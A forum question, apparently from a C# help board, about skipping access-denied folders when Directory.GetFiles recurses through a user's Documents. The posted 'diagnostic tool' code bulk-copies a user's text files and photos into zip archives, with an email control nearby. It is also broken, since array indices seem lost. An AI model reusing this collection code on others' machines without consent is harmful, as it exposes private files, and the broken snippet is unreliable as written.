How can i avoid or pass over a directory that is access denied?

  • Thread starter Thread starter Chocolade1972
  • Start date Start date
C

Chocolade1972

Guest
On my pc there are no problems but on my wife laptop im getting exception access denied. And also on my pc and also on my wife laptop the program is running as admin.


This is the method:


private void SearchForDoc()
{
try
{
outputtext = @"c:\temp\outputtxt";
outputphotos = @"c:\temp\outputphotos";
temptxt = @"c:\temp\txtfiles";
tempphotos = @"c:\temp\photosfiles";
if (!Directory.Exists(temptxt))
{
Directory.CreateDirectory(temptxt);
}
if (!Directory.Exists(tempphotos))
{
Directory.CreateDirectory(tempphotos);
}
if (!Directory.Exists(outputtext))
{
Directory.CreateDirectory(outputtext);
}
if (!Directory.Exists(outputphotos))
{
Directory.CreateDirectory(outputphotos);
}
t = Environment.GetEnvironmentVariable("UserProfile") + "\\documents";
//string[] extensionstxt = { "*.txt" };//Directory.GetFiles(t, "*.txt", SearchOption.AllDirectories);
//var textfiles = extensionstxt.SelectMany(x => Directory.GetFiles(t, x));
string[] textfiles = Directory.GetFiles(t, "*.txt", SearchOption.AllDirectories);
for (int i = 0; i < textfiles.Length; i++)
{
try
{
// YOUR CODE HERE

//File.Copy(txtfiles, temptxt + "\\" + Path.GetFileName(txtfiles),true);
FileInfo fi = new FileInfo((textfiles));
DirectoryInfo d = new DirectoryInfo(temptxt);
long dirSize = DirSize(d);
//if copying the file would take the directory over 50MB then dont do it
if ((dirSize + fi.Length) <= 8388608)//7340032)//52428800)
fi.CopyTo(temptxt + "\\" + fi.Name, true);
else
break;
}
catch (UnauthorizedAccessException)
{
// DO NOTHING HERE
}
}
Compressions("textfiles.zip", temptxt, outputtext);


s = Environment.GetEnvironmentVariable("UserProfile") + "\\Pictures";
string[] extensions = { "*.bmp", "*.jpg", "*.png", "*.gif" };//add extensions you want to filter first
var photosfiles = extensions.SelectMany(x => Directory.GetFiles(s, x));
//string[] photosfiles = Directory.GetFiles(s, "*.*", SearchOption.AllDirectories);
for (int i = 0; i < photosfiles.ToArray().Length; i++)
{
try
{
// YOUR CODE HERE

FileInfo fi = new FileInfo((photosfiles.ToArray()));
DirectoryInfo d = new DirectoryInfo(tempphotos);
long dirSize = DirSize(d);
//if copying the file would take the directory over 50MB then dont do it
if ((dirSize + fi.Length) <= 8388608)//7340032)//52428800)
fi.CopyTo(tempphotos + "\\" + fi.Name, true);
else
break;
}
catch (UnauthorizedAccessException)
{
// DO NOTHING HERE
}
}
Compressions("photofiles.zip", tempphotos, outputphotos);

}
catch (Exception err)
{
Logger.Write("There was an exception" + Environment.NewLine + err);
SendEmail.BeginInvoke(new Action(() => { SendEmail.Enabled = true; }));
}
}

I tried to add inside each FOR loop another try and catch but it never get there on my pc.

And it never get to the outside try and catch on my pc.

On my wife laptop it did get to the outside try and catch and wrote the exception to the log file:

10/08/2013--19:35 ==> There was an exception
System.UnauthorizedAccessException: Access to the path C:\Users\Simbalip\documents\My Music\ is denied.
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.FileSystemEnumerableIterator`1.AddSearchableDirsToStack(SearchData localSearchData)
at System.IO.FileSystemEnumerableIterator`1.MoveNext()
at System.Collections.Generic.List`1..ctor(IEnumerable`1 collection)
at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption)
at System.IO.Directory.InternalGetFiles(String path, String searchPattern, SearchOption searchOption)
at Diagnostic_Tool_Blue_Screen.Form1.SearchForDoc()


Why on my wife laptop its throwing an exception and on my pc its not ?

What solution should be in this case to pass over each access denied directory or to find somehow and give a permission ?

This inner try and catch in each for loop i did was to pass over a directory that is access denied but it never get into it .

It keep writing to the log file when its on my wife laptop seems like its getting to the outsider try and catch and not get the ones in the FOR loops.

Continue reading...
 
Back
Top